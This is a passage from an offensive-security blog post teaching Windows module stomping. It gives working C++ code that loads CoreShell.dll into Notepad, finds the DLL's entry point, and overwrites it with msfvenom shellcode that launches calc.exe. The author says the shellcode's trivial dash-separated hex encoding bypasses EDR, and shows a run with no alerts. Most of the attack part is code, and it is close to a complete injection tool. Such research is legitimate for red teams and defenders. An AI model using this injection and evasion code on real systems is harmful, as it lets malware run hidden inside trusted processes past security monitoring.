<p>Next, we will load the DLL we specified below (CoreShell.dll) into our remote process.  I use Notepad in my demo.  Also you’ll notice a slight discrepancy between the DLL used in the video versus the code in this blog post.  The DLL in the video was already loaded by Notepad so I needed to choose another one.  That’s the shortend of it 😄</p>

<p>Okay, we will first allocate memory the size of our filepath + filename using <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>. Next, we write the filepath+filename string (<code class="language-plaintext highlighter-rouge">benignMod</code>) to that memory location we just allocated (<code class="language-plaintext highlighter-rouge">modPath</code>).  It looks like this!</p>

<p><img width="1208" height="520" alt="image" src="https://github.com/user-attachments/assets/763a845f-5a06-408f-a639-1906f2b21e9e" /></p>

<p><img width="1458" height="942" alt="image" src="https://github.com/user-attachments/assets/23d343a5-4249-43af-b388-5264b6502679" /></p>

<p>Next, we locate the address for LoadLibrary and pass the address of our DLL filepath (<code class="language-plaintext highlighter-rouge">modPath</code>) as a parameter when we call our CreateRemoteThread api.  Afterwards, Lo and behold, the DLL is alive and running in the remote process!</p>

<p><img width="843" height="309" alt="image" src="https://github.com/user-attachments/assets/9f71a5b7-a209-49c3-9cdf-79ca653ded68" /></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// Benign module for stomping</span>
 <span class="k">const</span> <span class="kt">wchar_t</span><span class="o">*</span> <span class="n">benignMod</span> <span class="o">=</span> <span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">CoreShell.dll"</span><span class="p">;</span>
 <span class="kt">void</span><span class="o">*</span> <span class="n">modPath</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="n">wcslen</span><span class="p">(</span><span class="n">benignMod</span><span class="p">)</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="kt">wchar_t</span><span class="p">)</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">wchar_t</span><span class="p">),</span>
     <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
 <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">modPath</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProc</span><span class="p">);</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>
 <span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">modPath</span><span class="p">,</span> <span class="n">benignMod</span><span class="p">,</span> <span class="n">wcslen</span><span class="p">(</span><span class="n">benignMod</span><span class="p">)</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="kt">wchar_t</span><span class="p">)</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">wchar_t</span><span class="p">),</span> <span class="nb">nullptr</span><span class="p">);</span>

 <span class="c1">// Load the benign module remotely</span>
 <span class="k">auto</span> <span class="n">loadLib</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandleW</span><span class="p">(</span><span class="s">L"kernel32.dll"</span><span class="p">),</span> <span class="s">"LoadLibraryW"</span><span class="p">);</span>
 <span class="n">HANDLE</span> <span class="n">hLoadThread</span> <span class="o">=</span> <span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">loadLib</span><span class="p">,</span> <span class="n">modPath</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>
 <span class="k">if</span> <span class="p">(</span><span class="n">hLoadThread</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">hLoadThread</span><span class="p">,</span> <span class="n">INFINITE</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hLoadThread</span><span class="p">);</span>
 <span class="p">}</span>
 <span class="n">VirtualFreeEx</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">modPath</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
</code></pre></div></div>

<h2 id="locate-the-remote-dll-modules-base-address">Locate the Remote DLL Module’s Base Address</h2>

<p>Now, we need to cycle through all the loaded DLL modules and find ours.  Simple enough right?  😺  Once we find it, let’s print it to the console. We will also store it in the <code class="language-plaintext highlighter-rouge">targetMod</code> handle:</p>

<p><img width="909" height="288" alt="image" src="https://github.com/user-attachments/assets/199e0853-aa0c-4825-8925-7e34d6598ba2" /></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Locate the loaded module's base</span>
<span class="n">HMODULE</span> <span class="n">mods</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
<span class="n">DWORD</span> <span class="n">cbNeeded</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">EnumProcessModules</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">mods</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">mods</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">cbNeeded</span><span class="p">))</span> <span class="p">{</span>
    <span class="n">HMODULE</span> <span class="n">targetMod</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">modName</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
    <span class="n">DWORD</span> <span class="n">modCount</span> <span class="o">=</span> <span class="n">cbNeeded</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">HMODULE</span><span class="p">);</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">DWORD</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">modCount</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">GetModuleBaseNameA</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">mods</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">modName</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">modName</span><span class="p">)))</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">_stricmp</span><span class="p">(</span><span class="n">modName</span><span class="p">,</span> <span class="s">"CoreShell.dll"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">targetMod</span> <span class="o">=</span> <span class="n">mods</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
                <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Found apphelp.dll base: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">targetMod</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
                <span class="k">break</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">targetMod</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProc</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<h2 id="located-the-dll-pe-entry-point">Located the DLL PE Entry Point</h2>

<p>We’re getting close to the finish line now!  We need to read 4096 bytes from our now retrieved <code class="language-plaintext highlighter-rouge">CoreShell.dll</code> module and place them into the <code class="language-plaintext highlighter-rouge">pfBuf</code> variable.  We will then cast <code class="language-plaintext highlighter-rouge">peBuf</code> against an IMAGE_DOS_HEADER struct to make it easier for us to locate the AddressofEntryPoint for our remotely loaded DLL.  Here’s the struct for reference if you’d like to know how it’s laid out:</p>

<p><img width="1003" height="597" alt="image" src="https://github.com/user-attachments/assets/3776be32-7f0d-4488-a71e-e51e75615cb7" /></p>

<p>We complete the IMAGE_NT_SIGNATURE and eventually make it to where we grab our Address of entry point and add that to our targetMod. We finally get what we long sought after.  The Entry point of our DLL!</p>

<p><img width="502" height="179" alt="image" src="https://github.com/user-attachments/assets/405f0245-ccf8-4a57-bbf9-49cf45769c97" /></p>

<p><strong>Here’s the code for everything I just explained:</strong></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Extract PE entry point</span>
<span class="n">BYTE</span> <span class="n">peBuf</span><span class="p">[</span><span class="mi">4096</span><span class="p">];</span>
<span class="n">SIZE_T</span> <span class="n">readBytes</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ReadProcessMemory</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">targetMod</span><span class="p">,</span> <span class="n">peBuf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">peBuf</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">readBytes</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">readBytes</span> <span class="o">&gt;=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">IMAGE_DOS_HEADER</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">auto</span> <span class="n">dosHdr</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="k">const</span> <span class="n">IMAGE_DOS_HEADER</span><span class="o">*&gt;</span><span class="p">(</span><span class="n">peBuf</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">dosHdr</span><span class="o">-&gt;</span><span class="n">e_magic</span> <span class="o">==</span> <span class="n">IMAGE_DOS_SIGNATURE</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">auto</span> <span class="n">ntHdr</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="k">const</span> <span class="n">IMAGE_NT_HEADERS</span><span class="o">*&gt;</span><span class="p">(</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="k">const</span> <span class="n">BYTE</span><span class="o">*&gt;</span><span class="p">(</span><span class="n">dosHdr</span><span class="p">)</span> <span class="o">+</span> <span class="n">dosHdr</span><span class="o">-&gt;</span><span class="n">e_lfanew</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">ntHdr</span><span class="o">-&gt;</span><span class="n">Signature</span> <span class="o">==</span> <span class="n">IMAGE_NT_SIGNATURE</span><span class="p">)</span> <span class="p">{</span>
            <span class="kt">void</span><span class="o">*</span> <span class="n">entryPt</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span><span class="o">*&gt;</span><span class="p">(</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">DWORD_PTR</span><span class="o">&gt;</span><span class="p">(</span><span class="n">targetMod</span><span class="p">)</span> <span class="o">+</span> <span class="n">ntHdr</span><span class="o">-&gt;</span><span class="n">OptionalHeader</span><span class="p">.</span><span class="n">AddressOfEntryPoint</span><span class="p">);</span>
            <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Entry point: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">entryPt</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
</code></pre></div></div>

<h2 id="the-payload">The Payload!</h2>

<p>We can’t forget our payload right?!  I mean, we’ve made it this far.  I’ve yet to even tell you about what I plan to load into the DLL entrypoint 😸  Well…surprise surprise.  It’s once again the Windows Calculator lol.  I used msfvenom to generate it this time as I wanted to demonstrate how we can bypass a lot of EDR solution just applying some basic encoding to the shellcode beforehand.  Here’s what it looks like.  My “encoding” is just hashes/dashes in-between the bytes lol.  How is the effective?  Seriously, this shouldn’t work.  But it does a lot of the time 😆</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Payload: calc.exe (hex-encoded)</span>
<span class="k">const</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">payloadHex</span> <span class="o">=</span> <span class="s">"fc-48-83-e4-f0-e8-c0-00-00-00-41-51-41-50-52-51-56-48-31-d2-65-48-8b-52-60-48-8b-52-18-48-8b-52-20-48-8b-72-50-48-0f-b7-4a-4a-4d-31-c9-48-31-c0-ac-3c-61-7c-02-2c-20-41-c1-c9-0d-41-01-c1-e2-ed-52-41-51-48-8b-52-20-8b-42-3c-48-01-d0-8b-80-88-00-00-00-48-85-c0-74-67-48-01-d0-50-8b-48-18-44-8b-40-20-49-01-d0-e3-56-48-ff-c9-41-8b-34-88-48-01-d6-4d-31-c9-48-31-c0-ac-41-c1-c9-0d-41-01-c1-38-e0-75-f1-4c-03-4c-24-08-45-39-d1-75-d8-58-44-8b-40-24-49-01-d0-66-41-8b-0c-48-44-8b-40-1c-49-01-d0-41-8b-04-88-48-01-d0-41-58-41-58-5e-59-5a-41-58-41-59-41-5a-48-83-ec-20-41-52-ff-e0-58-41-59-5a-48-8b-12-e9-57-ff-ff-ff-5d-48-ba-01-00-00-00-00-00-00-00-48-8d-8d-01-01-00-00-41-ba-31-8b-6f-87-ff-d5-bb-e0-1d-2a-0a-41-ba-a6-95-bd-9d-ff-d5-48-83-c4-28-3c-06-7c-0a-80-fb-e0-75-05-bb-47-13-72-6f-6a-00-59-41-89-da-ff-d5-63-61-6c-63-2e-65-78-65-00"</span><span class="p">;</span>
<span class="k">auto</span> <span class="n">shellBytes</span> <span class="o">=</span> <span class="n">parseShellcode</span><span class="p">(</span><span class="n">payloadHex</span><span class="p">);</span>
</code></pre></div></div>

<p><strong>parseShellcode() takes my shellcode and removes the dashes</strong></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">BYTE</span><span class="o">&gt;</span> <span class="n">parseShellcode</span><span class="p">(</span><span class="k">const</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">&amp;</span> <span class="n">hexData</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">BYTE</span><span class="o">&gt;</span> <span class="n">bytes</span><span class="p">;</span>
    <span class="kt">size_t</span> <span class="n">pos</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">while</span> <span class="p">(</span><span class="n">pos</span> <span class="o">&lt;</span> <span class="n">hexData</span><span class="p">.</span><span class="n">length</span><span class="p">())</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">hexData</span><span class="p">[</span><span class="n">pos</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'-'</span><span class="p">)</span> <span class="o">++</span><span class="n">pos</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">pos</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&lt;</span> <span class="n">hexData</span><span class="p">.</span><span class="n">length</span><span class="p">())</span> <span class="p">{</span>
            <span class="n">BYTE</span> <span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
            <span class="n">sscanf_s</span><span class="p">(</span><span class="n">hexData</span><span class="p">.</span><span class="n">c_str</span><span class="p">()</span> <span class="o">+</span> <span class="n">pos</span><span class="p">,</span> <span class="s">"%2hhx"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">val</span><span class="p">);</span>
            <span class="n">bytes</span><span class="p">.</span><span class="n">push_back</span><span class="p">(</span><span class="n">val</span><span class="p">);</span>
            <span class="n">pos</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">bytes</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now that we have the shellcode ready to go, let’s load it and create a remote thread to execute it!!!</p>

<h2 id="executing-the-shellcode-in-the-remote-dll-in-the-remote-notepad-process">Executing the shellcode in the Remote DLL, in the remote notepad process!</h2>

<p>Here, we write the shellcode to the entry point of our DLL and execute it!  Exactly what you’d expect 😄</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>                    <span class="c1">// Stomp the entry point with payload</span>
                    <span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">entryPt</span><span class="p">,</span> <span class="n">shellBytes</span><span class="p">.</span><span class="n">data</span><span class="p">(),</span> <span class="n">shellBytes</span><span class="p">.</span><span class="n">size</span><span class="p">(),</span> <span class="nb">nullptr</span><span class="p">);</span>

                    <span class="c1">// Trigger execution</span>
                    <span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="o">&gt;</span><span class="p">(</span><span class="n">entryPt</span><span class="p">),</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProc</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="the-calculator">The Calculator!!!</h2>

<p><img width="1338" height="968" alt="image" src="https://github.com/user-attachments/assets/9f3627cf-dbdb-4ca7-8a24-92c4fe2f1452" /></p>

<p><strong>Source code:</strong> <a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2025-10-3-Module%20Stomping%20101%20-%20My%20Favorite%20Stomping%20Grounds">Source Code</a></p>

<p><strong>Notice no EDR alerts either:</strong></p>

<p><img width="932" height="996" alt="image" src="https://github.com/user-attachments/assets/802943d7-a68d-4a83-92d4-1d56afed454b" /></p>

<p>And that’s it!  I hope this was informative and as always, at least somewhat entertaining 😆  Appreciate you all and thanks for supporting what I do and reading the blog!
Until next time!</p>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><img width="1533" height="650" alt="image" src="https://github.com/user-attachments/assets/b20a521d-0d2f-4422-a658-d1570cc35111" /></p>

<p><a href="https://app.any.run/tasks/c7fa34cb-e7a3-452e-9a84-bcacc871a222">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
Sponsored by:<br />
<img src="https://github.com/user-attachments/assets/111a0bb6-66e1-43b0-9a0a-5ce093f4b65e" alt="Sponsor logo" style="max-width: 200px;" />
</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Process Injection" /><category term="Windows 11" /><category term="g3tsyst3m" /><category term="2025" /><category term="process injection" /><category term="module stomping" /><category term="dll hollowing" /><category term="pe header" /><summary type="html"><![CDATA[It probably comes as no surprise to most of my dedicated readers that I have an undying fascination with all things related to code injection and evasive maneuver techniques in the realm of offensive security. I’m no expert in the area by any stretch of the imagination, but I find I enjoy researching these specific niche aspects of offensive security tradecraft the most rewarding 😸. Okay, so you know already by the title of this post that our focus today will be on module stomping. What is that exactly? Well, I’ll talk about it briefly here and also give you a preview video where I provide a high level overview of Module Stomping in what I hope is presented in an easy to understand manner.]]></summary></entry></feed>